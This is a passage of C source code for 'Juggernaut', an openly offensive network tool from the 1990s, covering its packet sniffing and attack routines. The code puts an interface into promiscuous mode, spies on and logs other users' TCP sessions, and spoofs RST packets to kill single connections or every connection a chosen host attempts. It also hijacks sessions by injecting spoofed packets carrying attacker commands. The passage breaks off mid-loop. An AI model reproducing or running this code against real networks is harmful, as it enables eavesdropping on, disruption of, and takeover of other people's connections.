  1803.     else printf("\t\t\tFragment offset: %d\n",(fo&0x1fff));
  1804.     if(!(packetready&0x08))printf("\t\t\t4. TTL\n");
  1805.     else printf("\t\t\tTTL: %d\n",ttl);
  1806.     if(!(packetready&0x10))printf("\t\t\t5. Source Address\n");
  1807.     else printf("\t\t\tSource Address: %s\n",saddr);
  1808.     if(!(packetready&0x20))printf("\t\t\t6. Destination Address\n");
  1809.     else printf("\t\t\tDestination Address: %s\n",daddr);
  1810.     if(!(packetready&0x40))printf("\t\t\t7. Number of packets to send\n");
  1811.     else printf("\t\t\tSending %d packet(s)\n",number);
  1812.     printf("\t\t\t8. Return to previous menu\n");
  1813.     printf("\t\t\t9. Return to main menu\n");
  1814.     if(packetready==0x7f)printf("\t\t\t10. Transmit %s packet(s)\n",packettype);
  1815.     printf("\n\n\n\n\n\n\n\n\n\n");
  1816.     printf(">");
  1817. }
  1818.  
  1819. /*
  1820.  *  Clear the Screen
  1821.  */
  1822.  
  1823. void mwipe(){
  1824.  
  1825.     printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
  1826. }
  1827. <-->
  1828. <++> Juggernaut/NumberOneCrush/net.c
  1829. /*
  1830.  *
  1831.  *                                  Juggernaut
  1832.  *                                  Version b1
  1833.  *
  1834.  *                            1996/7 Guild productions
  1835.  *                           daemon9[guild|phrack|r00t]
  1836.  *
  1837.  *                         comments to route@infonexus.com
  1838.  *
  1839.  *  This coding project made possible by a grant from the Guild corporation
  1840.  * 
  1841.  *  net.c - network/socket control code and abstract data types 
  1842.  * 
  1843.  *  In the interest of time overhead vs. code size, I created several functions
  1844.  *  that do much the same thing.  You will notice the reset and jack code is 
  1845.  *  quite redundant.  Life is rough like that.  Deal with it.  Also, there are 
  1846.  *  problems with freeing malloc'd memory.
  1847.  * 
  1848.  */
  1849.  
  1850.  
  1851. #include <stdio.h>
  1852. #include <stdlib.h>
  1853. #include <time.h>
  1854. #include <ctype.h>
  1855. #include <netinet/in.h>
  1856. #include <arpa/inet.h>
  1857. #include <netdb.h>
  1858. #include <errno.h>
  1859. #include <arpa/inet.h>
  1860. #include <signal.h>
  1861. #include <string.h>
  1862. #include <setjmp.h>
  1863. #include <unistd.h>
  1864. #include <linux/socket.h>
  1865. #include <linux/ip.h>
  1866. #include <linux/tcp.h>
  1867. #include <linux/if_ether.h>
  1868. #include <linux/if_arp.h>
  1869. #include <linux/if.h>
  1870. #include <linux/sockios.h>
  1871. #include <sys/time.h>
  1872. #include <sys/resource.h>
  1873. #include <sys/ioctl.h>
  1874.  
  1875. #define DEVICE "eth0"
  1876. #define ETHHDR  14
  1877. #define PHDR    12
  1878. #define TCPHDR  20
  1879. #define IPHDR   20
  1880. #define BUFSIZE 512
  1881. #define MINIBUF    10
  1882. #define RSTS    10    /* Number of RSTs to send when RSTing a connection */
  1883. #define JCKRST    3    /* You may wish to experiment with this value.  The 
  1884.                smaller it is, your command have less time to 
  1885.                complete on the target.  However, the ACK storm 
  1886.                will also be much shorter... */
  1887. #define SNIFLOG "./juggernaut.log.snif"
  1888.                        
  1889. struct iphdr  *iphp;        /* Pointer into current packets IP header */
  1890. struct tcphdr *tcphp;       /* Pointer into current packets TCP header */
  1891. struct ethhdr *ethhp;        /* Pointer into current packets ethernet header */
  1892.  
  1893.                 /* Macro to align the pointers into the ethernet, 
  1894.                                IP, and TCP headers. */
  1895. #define ALIGNNETPOINTERS(){\
  1896.     ethhp=(struct ethhdr *)(((unsigned long)&epack.eth));\
  1897.     iphp=(struct iphdr *)(((unsigned long)&epack.ip)-2);\
  1898.     tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)-2);\
  1899. }
  1900.  
  1901. struct epack{               /* Generic Ethernet packet w/o data payload */
  1902.     struct ethhdr eth;      /* Ethernet Header */
  1903.     struct iphdr ip;        /* IP header */
  1904.     struct tcphdr tcp;      /* TCP header */
  1905.     char payload[8192];        /* Data Payload */
  1906. }epack;
  1907.  
  1908. struct connectionInfo{
  1909.     unsigned long saddr;    /* Source IP */
  1910.     unsigned long daddr;    /* Destination IP */
  1911.     unsigned short sport;   /* Source TCP Port */
  1912.     unsigned short dport;   /* Destination TCP Port */
  1913. };
  1914.  
  1915. jmp_buf env;            /* To preserve our environment */
  1916. extern int verbosity;       /* Should we dump error messages? */
  1917.  
  1918. /*
  1919.  *  Creates a low level raw-packet socket and puts the device into promiscuous 
  1920.  *  mode.
  1921.  */
  1922.  
  1923. int tap(device)
  1924. char *device;
  1925. {
  1926.     
  1927.     int fd;                
  1928.     struct ifreq ifr;   /* Link-layer interface request structure */
  1929.                         /* Ethernet code for IP 0x800==ETH_P_IP */
  1930.     if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){    
  1931.         if(verbosity)perror("(tap) SOCK_PACKET allocation problems [fatal]");
  1932.         exit(1);                               
  1933.     }
  1934.     strcpy(ifr.ifr_name,device);                
  1935.     if((ioctl(fd,SIOCGIFFLAGS,&ifr))<0){    /* Get the device info */
  1936.         if(verbosity)perror("(tap) Can't get device flags [fatal]");
  1937.         close(fd);
  1938.           exit(1);
  1939.     }
  1940.     ifr.ifr_flags|=IFF_PROMISC;                /* Set promiscuous mode */
  1941.     if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){    /* Set flags */
  1942.         if(verbosity)perror("(tap) Can't set promiscuous mode [fatal]");
  1943.         close(fd);
  1944.     exit(1);
  1945.     }
  1946.     return(fd);
  1947. }
  1948.  
  1949.  
  1950. /*
  1951.  *  Gimme a raw-IP socket.  Use of IP_HDRINCL is automatic with 2.0.x
  1952.  *  kernels.  Not sure about 1.2.x
  1953.  */
  1954.  
  1955. int rawsock(){
  1956.  
  1957.     int fd,val=1;
  1958.     
  1959.     if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
  1960.         if(verbosity)perror("\n(rawsock) Socket problems [fatal]");
  1961.         exit(1);
  1962.     }  
  1963.  
  1964. #ifdef IP_HDRINCL
  1965.     if(setsockopt(fd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(val))<0){  
  1966.     if(verbosity){
  1967.             perror("Cannot set IP_HDRINCL socket option");
  1968.         fprintf(stderr,"\nIf you are relying on this rather then a hacked kernel to spoof packets, your sunk.\n[cr]");
  1969.             getchar();
  1970.         }
  1971.     }
  1972. #endif
  1973.  
  1974.     return(fd);
  1975. }    
  1976.  
  1977.  
  1978. /*
  1979.  *  Hunter.  At this point, only cares about connection information (infant
  1980.  *  connections and tear-downs).  I should have it pass SEQ and ACK related
  1981.  *  info to the relevant functions...  This function will be forked to the
  1982.  *  backround as a seperate process, and in future versions it will be
  1983.  *  implemented as a seperate thread of execution.
  1984.  */
  1985.                  
  1986. void chunt(){
  1987.  
  1988.     void add(struct iphdr *,struct tcphdr *,struct ethhdr *);
  1989.     void del(struct iphdr *,struct tcphdr *);
  1990.  
  1991.     extern int linksock;        /* raw packet socket */
  1992.     
  1993.     ALIGNNETPOINTERS();
  1994.                     /* No alarm timeout here.  We block forever until packets zing by */
  1995.     while(1)if(recv(linksock,&epack,sizeof(epack),0)){
  1996.         if(iphp->protocol==IPPROTO_TCP&&(tcphp->syn&&!tcphp->ack))add(iphp,tcphp,ethhp);
  1997.     if(iphp->protocol==IPPROTO_TCP&&(tcphp->rst||tcphp->fin))del(iphp,tcphp); 
  1998.     }
  1999. }
  2000.  
  2001. /*
  2002.  *  addc() wrapper.  Checks to make sure we want to add this connection to
  2003.  *  our list....  At this point, we'll take ftp control, ssh (well, we can
  2004.  *  RST them) telnet, smtp, http, rlogin, and irc.  
  2005.  */
  2006.  
  2007. void add(iphp,tcphp,ethhp)
  2008. struct iphdr *iphp;
  2009. struct tcphdr *tcphp;
  2010. struct ethhdr *ethhp;       /* Future Use */
  2011. {
  2012.     char *addc(struct iphdr *, struct tcphdr *);
  2013.  
  2014.     char *msg;
  2015.  
  2016. #ifdef GREED
  2017.     if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
  2018. #ifdef NOHUSH
  2019.     fprintf(stderr,"%c",7);
  2020. #endif    
  2021.     return;
  2022. #else
  2023.     switch(ntohs(tcphp->dest)){
  2024.         case 21:
  2025.         case 22:
  2026.         case 23:
  2027.         case 25:
  2028.         case 80:
  2029.         case 513:
  2030.         case 6667:
  2031.             if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
  2032. #ifdef NOHUSH
  2033.             fprintf(stderr,"%c",7);
  2034. #endif    
  2035.             return;
  2036.         default:
  2037.             return;
  2038.     }
  2039. #endif
  2040. }
  2041.  
  2042.  
  2043. /*
  2044.  *  delc() wrapper.  Checks connection port number to see if we should even
  2045.  *  bother passing to the delete function which will do a potentially expensive
  2046.  *  linear search...
  2047.  */
  2048.  
  2049. void del(iphp,tcphp)
  2050. struct iphdr *iphp;
  2051. struct tcphdr *tcphp;
  2052. {
  2053.     char *delc(struct iphdr *, struct tcphdr *);
  2054.  
  2055.     char *msg;
  2056.  
  2057. #ifdef GREED
  2058.     if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
  2059.     return;
  2060. #else
  2061.     switch(ntohs(tcphp->dest)){
  2062.         case 21:
  2063.         case 22:
  2064.         case 23:
  2065.         case 25:
  2066.         case 80:
  2067.         case 513:
  2068.         case 6667:
  2069.             if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
  2070.             return;
  2071.         default:
  2072.             return;
  2073.     }
  2074. #endif
  2075. }
  2076.  
  2077.  
  2078. /*
  2079.  *  Spy on a connection.  If the packet captured is from the target connection, 
  2080.  *  call dumpp().  If fp is valid, prepend header/append footer.
  2081.  */
  2082.  
  2083. void cspy(target,fp)
  2084. struct connectionInfo *target;
  2085. FILE *fp;
  2086. {
  2087.  
  2088.     char *hostLookup(unsigned long);
  2089.     void dumpp(char *,int,FILE *);
  2090.  
  2091.     extern int sigsentry;
  2092.     int tlinksock=tap(DEVICE);    /* Spying tap.  XXX- Really dumb way to do this... */
  2093.     time_t tp;
  2094.  
  2095.     ALIGNNETPOINTERS();
  2096.     
  2097.     fprintf(stderr,"Spying on connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
  2098.     if(fp){
  2099.         fprintf(fp,"---------------------------------------------------------------------\n: Juggernaut connection spy log header\n: %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup(target->daddr),ntohs(target->dport));
  2100.         time(&tp);
  2101.         fprintf(fp,": Log started:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
  2102.     }
  2103.             /* NO alaram timeout here.  SIGINT kills our spy session */
  2104.     while(sigsentry)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP)if(iphp->saddr==target->daddr&&tcphp->source==target->dport)dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp),fp);
  2105.     
  2106.     if(fp){
  2107.         fprintf(fp,"\n---------------------------------------------------------------------\n: Juggernaut connection spy log trailer\n: %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup(target->daddr),ntohs(target->dport)
  2108.  
  2109.  
  2110.  
  2111.  
  2112.  
  2113.  
  2114.  
  2115.  
  2116.  
  2117. );
  2118.         time(&tp);
  2119.         fprintf(fp,": Log ended:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
  2120.     }
  2121.     close(tlinksock);
  2122. }
  2123.  
  2124.  
  2125. /*
  2126.  *  Dumps the payload.  Dump to file if we have a valid FP.
  2127.  */
  2128.  
  2129. void dumpp(payload,length,fp)
  2130. char *payload;
  2131. int length;
  2132. FILE *fp;
  2133. {
  2134.     register int tickytacky=0;
  2135.  
  2136.     for(;tickytacky<length;tickytacky++){
  2137.         fprintf(stderr,"%c",payload[tickytacky]);
  2138.     if(fp)fprintf(fp,"%c",payload[tickytacky]);
  2139.     }
  2140.     
  2141. }
  2142.  
  2143.  
  2144. /*
  2145.  *  RST both ends of a connection.  Listen for the client to send a packet so 
  2146.  *  we know where the seq/ack #s are and then spoof 10 RSTs to the client which
  2147.  *  will then send a RST to the other end when it recieves the legitimate
  2148.  *  response packet.
  2149.  */
  2150.  
  2151. void crst(target)
  2152. struct connectionInfo *target;
  2153. {
  2154.  
  2155.     void nettimeout();
  2156.     char *hostLookup(unsigned long);
  2157.     unsigned short in_cksum(unsigned short *,int);
  2158.  
  2159.     char *tempBuf=0;
  2160.     extern int ripsock;    
  2161.     extern int netreadtimeout;
  2162.  
  2163.     struct sockaddr_in sin;         
  2164.     
  2165.     struct tpack{               /* Generic TCP packet w/o payload */
  2166.         struct iphdr ip;
  2167.         struct tcphdr tcp;
  2168.     }tpack;
  2169.  
  2170.     struct psuedoHeader{
  2171.         unsigned long saddr;
  2172.         unsigned long daddr;
  2173.         unsigned char null;
  2174.         unsigned char prot;
  2175.         unsigned short tlen;
  2176.     }*ppheader;
  2177.          
  2178.     static int moot=0;
  2179.     int tlinksock=tap(DEVICE);
  2180.  
  2181.     ALIGNNETPOINTERS();
  2182.  
  2183.     sin.sin_family=AF_INET;     /* Preload these values.  All we are really 
  2184.                                    waiting for are the seq/ack #s */
  2185.     sin.sin_port=target->dport;     
  2186.     sin.sin_addr.s_addr=target->saddr;
  2187.  
  2188.     bzero(&tpack,sizeof(tpack));    /* Zero out these structures so I dunot 
  2189.                                        have to assign 0's to the unused
  2190.                                        areas... */
  2191.     bzero(&ppheader,sizeof(ppheader));             
  2192.  
  2193.     tpack.tcp.source=target->dport;        /* 16-bit Source port number */
  2194.     tpack.tcp.dest=target->sport;           /* 16-bit Destination port */
  2195.     tpack.tcp.doff=5;                       /* Data offset */
  2196.     tpack.tcp.ack=1;                        /* Acknowledgement field valid flag */
  2197.     tpack.tcp.rst=1;                        /* Reset flag */
  2198.     tpack.tcp.window=htons(242);           /* 16-bit Window size */
  2199.  
  2200.     tpack.ip.version=4;                     /* 4-bit Version */
  2201.     tpack.ip.ihl=5;                         /* 4-bit Header Length */
  2202.     tpack.ip.tot_len=htons(IPHDR+TCPHDR);   /* 16-bit Total length */
  2203.     tpack.ip.ttl=64;                        /* 8-bit Time To Live */
  2204.     tpack.ip.protocol=IPPROTO_TCP;          /* 8-bit Protocol */
  2205.  
  2206.     tpack.ip.saddr=target->daddr;             /* 32-bit Source Address */
  2207.     tpack.ip.daddr=target->saddr;             /* 32-bit Destination Address */
  2208.  
  2209.     tempBuf=(char *)malloc(PHDR+TCPHDR);    /* Checksum stuff */
  2210.     ppheader=(struct psuedoHeader *)tempBuf;
  2211.     
  2212.     ppheader->saddr=tpack.ip.saddr;
  2213.     ppheader->daddr=tpack.ip.daddr;
  2214.     ppheader->prot=IPPROTO_TCP;
  2215.     ppheader->null=0;
  2216.     ppheader->tlen=htons(TCPHDR);
  2217.  
  2218.     fprintf(stderr,"Reseting connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
  2219.  
  2220.     if(setjmp(env)){                /* Timeout */
  2221.         if(verbosity)fprintf(stderr,"Quiet connection, not reset. [soft error, returning]\n");
  2222.     return;
  2223.     }
  2224.     signal(SIGALRM,nettimeout);
  2225.     alarm(netreadtimeout);                  /* Wait 10 seconds for reply */
  2226.  
  2227.     while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->saddr&&tcphp->source==target->sport){
  2228.  
  2229.         for(;moot<RSTS;moot++){                /* Send RSTs, incrementing 
  2230.                                                 seqs and acks as we go */
  2231.             tpack.tcp.seq=tcphp->ack_seq+(htonl(moot));
  2232.             tpack.tcp.ack_seq=tcphp->seq+(htonl(moot));
  2233.  
  2234.             bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR);
  2235.             tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR);
  2236.  
  2237.         sendto(ripsock,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
  2238.         }
  2239.     alarm(0);
  2240.  
  2241.         /*free(tempBuf);    XXX */
  2242.     fprintf(stderr,"Connection torn down.\n");
  2243.         close(tlinksock);
  2244.     break;
  2245.     }
  2246. }
  2247.  
  2248.  
  2249. /*
  2250.  *  Sets up automated connection reseting.  A source and possibly a 
  2251.  *  destination host are targeted for reseting.  This function will kill any 
  2252.  *  connection attempts from the source (and possibly to a destination).
  2253.  */
  2254.  
  2255. void acrst(source,target)
  2256. unsigned long source, target;
  2257. {
  2258.  
  2259.     char *hostLookup(unsigned long);
  2260.     unsigned short in_cksum(unsigned short *,int);
  2261.     void spasm();               /* Handles the user defined signal */
  2262.  
  2263.     struct tpack{                               
  2264.         struct iphdr ip;
  2265.         struct tcphdr tcp;
  2266.     }tpack;
  2267.  
  2268.     struct psuedoHeader{
  2269.         unsigned long saddr;
  2270.         unsigned long daddr;
  2271.         unsigned char null;
  2272.         unsigned char prot;
  2273.         unsigned short tlen;
  2274.     }*ppheader;
  2275.         
  2276.     struct sockaddr_in sin;
  2277.     
  2278.     int moot=0;
  2279.     extern int ripsock;    
  2280.     extern int acrstpid;
  2281.     char *tempBuf=0;
  2282.     int tlinksock=tap(DEVICE);
  2283.  
  2284.     switch((acrstpid=fork())){     /* Drop a child to backround, return the 
  2285.                                    parent to continue */
  2286.         case 0:                 /* Set the priority up a few notchs..  
  2287.                                    I get better results */
  2288.             if(setpriority(PRIO_PROCESS,0,-20)){
  2289.             if(verbosity)perror("acrst module (setpriority)");
  2290.                 fprintf(stderr,"[cr]");
  2291.                 getchar();
  2292.             }
  2293.             signal(SIGUSR1,spasm);  /* Keep track of the child and register
  2294.                                        it with the cleanup signal handler */
  2295.             signal(SIGINT,SIG_IGN);         
  2296.             signal(SIGQUIT,SIG_IGN);
  2297.             break;
  2298.         default:
  2299.             return;                          
  2300.         case -1:
  2301.             if(verbosity)perror("acrst module Internal forking error [fatal]");
  2302.             exit(1);
  2303.     }
  2304.  
  2305.     ALIGNNETPOINTERS();
  2306.                                  /* Preload these values. */
  2307.     sin.sin_family=AF_INET;
  2308.            
  2309.     bzero(&tpack,sizeof(tpack));
  2310.     bzero(&ppheader,sizeof(ppheader)); 
  2311.   
  2312.     tpack.tcp.doff=5;   
  2313.     tpack.tcp.ack=1;
  2314.     tpack.tcp.rst=1;
  2315.     tpack.tcp.window=htons(242);    
  2316.  
  2317.     tpack.ip.version=4; 
  2318.     tpack.ip.ihl=5;
  2319.     tpack.ip.tot_len=htons(IPHDR+TCPHDR); 
  2320.     tpack.ip.ttl=64;
  2321.     tpack.ip.protocol=IPPROTO_TCP; 
  2322.  
  2323.     tempBuf=(char *)malloc(PHDR+TCPHDR);
  2324.     ppheader=(struct psuedoHeader *)tempBuf;
  2325.  
  2326.     ppheader->null=0;
  2327.     ppheader->prot=IPPROTO_TCP;
  2328.     ppheader->tlen=htons(TCPHDR);
  2329.      
  2330.     while(1){
  2331.         if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&tcphp->syn&&iphp->saddr==source){
  2332.             if(target)if(iphp->daddr!=target)continue;
  2333.  
  2334.             sin.sin_port=tcphp->dest;     
  2335.             sin.sin_addr.s_addr=iphp->saddr;
  2336.    
  2337.             tpack.tcp.source=tcphp->dest;
  2338.             tpack.tcp.dest=tcphp->source;
  2339.  
  2340.             for(moot=1;moot<RSTS+1;moot++){     /* Send RSTs, incrementing 
  2341.                                                acks as we go */
  2342.  
  2343.                 tpack.tcp.ack_seq=tcphp->seq+(htonl(moot));
  2344.  
  2345.                 tpack.tcp.check=0;                      
  2346.                 tpack.ip.saddr=iphp->daddr; 
  2347.                 tpack.ip.daddr=iphp->saddr;  
  2348.                 tpack.ip.check=0;   
  2349.     
  2350.                 ppheader->saddr=tpack.ip.saddr;    
  2351.                 ppheader->daddr=tpack.ip.daddr;
  2352.  
  2353.                 bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR);
  2354.                 tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR);
  2355.  
  2356.             sendto(ripsock,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
  2357.                 fprintf(stderr,"%c-%c*",0x08,0x08);
  2358.             }
  2359.         }
  2360.     }
  2361. }
  2362.  
  2363. /*
  2364.  *  Simplex-hijack.  Really just inserts a command into the TCP stream.  This 
  2365.  *  will totally desynch the connection however and cause two things to happen:
  2366.  *  1) an ACK storm of epic proportions (maybe not, see accompanying paper) and
  2367.  *  2) the target user will have her connection destroyed.  To alleviate the 
  2368.  *  first problem, we simply reset the connection shortly after we hijack it. 
  2369.  *  The second problem is a burden with this kind of hijacking.
  2370.  */
  2371.  
  2372. void csimplexhijack(target,commandbuf)
  2373. struct connectionInfo *target;
  2374. char *commandbuf;
  2375. {
  2376.  
  2377.     void nettimeout();
  2378.     char *hostLookup(unsigned long);
  2379.     unsigned short in_cksum(unsigned short *,int);
  2380.  
  2381.     struct tpack{                   /* Generic TCP packet */
  2382.         struct iphdr ip;
  2383.         struct tcphdr tcp;
  2384.         char payload[BUFSIZE];
  2385.     }tpack;
  2386.    
  2387.    struct psuedoHeader{
  2388.         unsigned long saddr;
  2389.         unsigned long daddr;
  2390.         unsigned char null;
  2391.         unsigned char prot;
  2392.         unsigned short tlen;
  2393.     }*ppheader;
  2394.   
  2395.     struct sockaddr_in sin;         
  2396.  
  2397.     extern int ripsock;    
  2398.     extern int netreadtimeout;
  2399.     static int len;
  2400.     char *tempBuf;
  2401.     int tlinksock=tap(DEVICE);
  2402.  
  2403.     ALIGNNETPOINTERS();
  2404.  
  2405.     bzero(&tpack,sizeof(tpack));
  2406.  
  2407.     len=strlen(commandbuf)+1;            
  2408.     bcopy(commandbuf,tpack.payload,len--);
  2409.     sin.sin_family=AF_INET;
  2410.     sin.sin_port=target->sport;     
  2411.     sin.sin_addr.s_addr=target->daddr;
  2412.  
  2413.     tpack.tcp.source=target->sport;
  2414.     tpack.tcp.dest=target->dport;
  2415.     tpack.tcp.doff=5;
  2416.     tpack.tcp.ack=1;
  2417.     tpack.tcp.psh=1; 
  2418.     tpack.tcp.window=htons(242); 
  2419.  
  2420.     tpack.ip.version=4;   
  2421.     tpack.ip.ihl=5; 
  2422.     tpack.ip.tot_len=htons(IPHDR+TCPHDR+len);    
  2423.     tpack.ip.ttl=64;
  2424.     tpack.ip.protocol=IPPROTO_TCP; 
  2425.  
  2426.     tpack.ip.saddr=target->saddr; 
  2427.     tpack.ip.daddr=target->daddr; 
  2428.  
  2429.     tempBuf=(char *)malloc(PHDR+TCPHDR+len);    /* Check me out y0 */
  2430.     ppheader=(struct psuedoHeader *)tempBuf;
  2431.  
  2432.  
  2433.     ppheader->saddr=tpack.ip.saddr;
  2434.     ppheader->daddr=tpack.ip.daddr;
  2435.     ppheader->null=0;
  2436.     ppheader->prot=IPPROTO_TCP;
  2437.     ppheader->tlen=htons(TCPHDR+len);
  2438.  
  2439.     fprintf(stderr,"(simplex) Hijacking connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
  2440.  
  2441.     if(setjmp(env)){                            /* Timeout */
  2442.         if(verbosity)fprintf(stderr,"Quiet connection, try again later. [soft error, returning]\n");
  2443.         return;
  2444.     }
  2445.     signal(SIGALRM,nettimeout);
  2446.     alarm(0);
  2447.     alarm(netreadtimeout);                      /* Wait 10 seconds for reply */
  2448.  
  2449.     while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){
  2450.         tpack.tcp.seq=tcphp->ack_seq;
  2451.         tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);   
  2452.  
  2453.         bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len);
  2454.         tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);
  2455.  
  2456.     sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));
  2457.  
  2458.     fprintf(stderr,"Command inserted, connection desynched.\n");
  2459.     sleep(JCKRST);            /* Don't reset the connection too quickly, or 
  2460.                                    our command may not complete */
  2461.     crst(target);
  2462.         close(tlinksock);
  2463.         /* free(tempBuf);      XXX */
  2464.     break;
  2465.     }
  2466. }
  2467.  
  2468. /*
  2469.  *  Hijack.  Desynchs the server from the client.  The resulting ACK storm 
  2470.  *  makes things very difficult.
  2471.  */
  2472.  
  2473. void chijack(target)
  2474. struct connectionInfo *target;
  2475. {
  2476.  
  2477.     void nettimeout();
  2478.     void seizure();
  2479.     char *hostLookup(unsigned long);
  2480.     unsigned short in_cksum(unsigned short *,int);
  2481.    
  2482.  
  2483.     struct tpack{
  2484.         struct iphdr ip;
  2485.         struct tcphdr tcp;
  2486.         char payload[2*BUFSIZE];
  2487.     }tpack;
  2488.  
  2489.     struct psuedoHeader{
  2490.         unsigned long saddr;
  2491.         unsigned long daddr;
  2492.         unsigned char null;
  2493.         unsigned char prot;
  2494.         unsigned short tlen;
  2495.     }*ppheader;                
  2496.  
  2497.     struct sockaddr_in sin;
  2498.  
  2499.     char buf[10*MINIBUF];
  2500.     char *tempBuf=0;
  2501.  
  2502.     extern int ripsock;    
  2503.     extern int netreadtimeout;
  2504.     extern int sigsentry;
  2505.     static int len;
  2506.     int tlinksock=tap(DEVICE);            
  2507.     
  2508.     ALIGNNETPOINTERS();
  2509.  
  2510.     bzero(&tpack,sizeof(tpack));
  2511.  
  2512.     sin.sin_family=AF_INET;
  2513.     sin.sin_port=target->sport;     
  2514.     sin.sin_addr.s_addr=target->daddr;
  2515.  
  2516.     tpack.tcp.source=target->sport;
  2517.     tpack.tcp.dest=target->dport;
  2518.     tpack.tcp.doff=5;
  2519.     tpack.tcp.ack=1;
  2520.     tpack.tcp.psh=1;
  2521.     tpack.tcp.window=htons(1024);
  2522.  
  2523.     tpack.ip.version=4;
  2524.     tpack.ip.ihl=5; 
  2525.     tpack.ip.ttl=64; 
  2526.     tpack.ip.protocol=IPPROTO_TCP;
  2527.  
  2528.     tpack.ip.saddr=target->saddr; 
  2529.     tpack.ip.daddr=target->daddr;
  2530.  
  2531.     tempBuf=(char *)malloc(PHDR+TCPHDR+len);
  2532.     ppheader=(struct psuedoHeader *)tempBuf;
  2533.  
  2534.     ppheader->saddr=tpack.ip.saddr;
  2535.     ppheader->daddr=tpack.ip.daddr;
  2536.     ppheader->null=0;
  2537.     ppheader->prot=IPPROTO_TCP;
  2538.  
  2539.     signal(SIGINT,seizure);
  2540.  
  2541.     fprintf(stderr,"Hijacking connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
  2542.     fprintf(stderr,"'ctrl-c' when you are finished (this will RST the connection).\n"); 
  2543.     fprintf(stderr,"juggernaut>");
  2544.  
  2545.     fgets(buf,sizeof(buf),stdin);
  2546.  
  2547.     len=strlen(buf)+1;            
  2548.     bcopy(buf,tpack.payload,len--);
  2549.  
  2550.     tpack.ip.tot_len=htons(IPHDR+TCPHDR+len);        
  2551.     ppheader->tlen=htons(TCPHDR+len);
  2552.  
  2553.     if(setjmp(env)){
  2554.         if(verbosity)fprintf(stderr,"Quiet connection, try again later. [soft error, returning]\n");
  2555.         return;
  2556.     }
  2557.     signal(SIGALRM,nettimeout);
  2558.     alarm(0);
  2559.     alarm(netreadtimeout);  
  2560.                             /* Here we setup the initial hijack state.  We 
  2561.                                need to desynch the connection, and the next 
  2562.                                packet that comes by will be the catalyst. */
  2563.     while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){
  2564.         tpack.tcp.seq=tcphp->ack_seq;
  2565.         tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);   
  2566.  
  2567.         bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len);
  2568.         tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);
  2569.     
  2570.     sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));
  2571.     break;              
  2572.     }                   
  2573.                             
  2574.     alarm(0);
  2575.     while(sigsentry){                               /* Main hijack loop */
  2576.     if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->daddr&&tcphp->source==target->dport){
  2577.         if(!tcphp->psh)continue;        /* If this is not data, ignore it */
  2578.             dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp),0);
  2579.  
  2580.             bzero(&buf,sizeof(buf));
  2581.         fgets(buf,sizeof(buf),stdin);
  2582.             
  2583.             if(!buf[1])continue;        /* No input data (CR) */ 
  2584.  
  2585.         len=strlen(buf)+1;            
  2586.         bcopy(buf,tpack.payload,len--);
  2587.             tpack.tcp.psh=1;
  2588.             tpack.tcp.check=0;                              
  2589.             tpack.ip.check=0; 
  2590.  
  2591.             tpack.ip.tot_len=htons(IPHDR+TCPHDR+len); 
  2592.  
  2593.             tpack.tcp.seq=tcphp->ack_seq;
  2594.             tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);   
  2595.  
